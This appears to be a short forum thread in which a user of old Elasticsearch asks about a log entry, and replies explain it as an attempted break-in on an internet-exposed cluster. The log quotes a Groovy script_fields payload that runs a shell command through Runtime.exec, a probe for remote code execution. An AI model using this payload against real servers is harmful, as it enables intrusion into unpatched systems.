Hi

We are using ES and River-mongodb. Both versions are old (1.1.1 and 2.0.2). We will update them soon.

Can someone explain this below log message.

[2015-09-10 05:25:01,017][DEBUG][action.search.type ] [elasticsearch] [idx][1], node[k5EEcS5Q262rDOJr0vKpg], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@f8e78ea] lastShard [true]

org.elasticsearch.search.SearchParseException: [idx][1]: from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"script_fields": {"exp": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("echo qq952135763").getInputStream())).readLines()","lang": "groovy"}}}]]

Thanks

Is your ES open to the internet?
Cause it looks like it is and someone is trying to break in.

Yes. It was open to the world when this exception got logged.

Then that's what the exception is, someone trying to run something bad on your cluster.
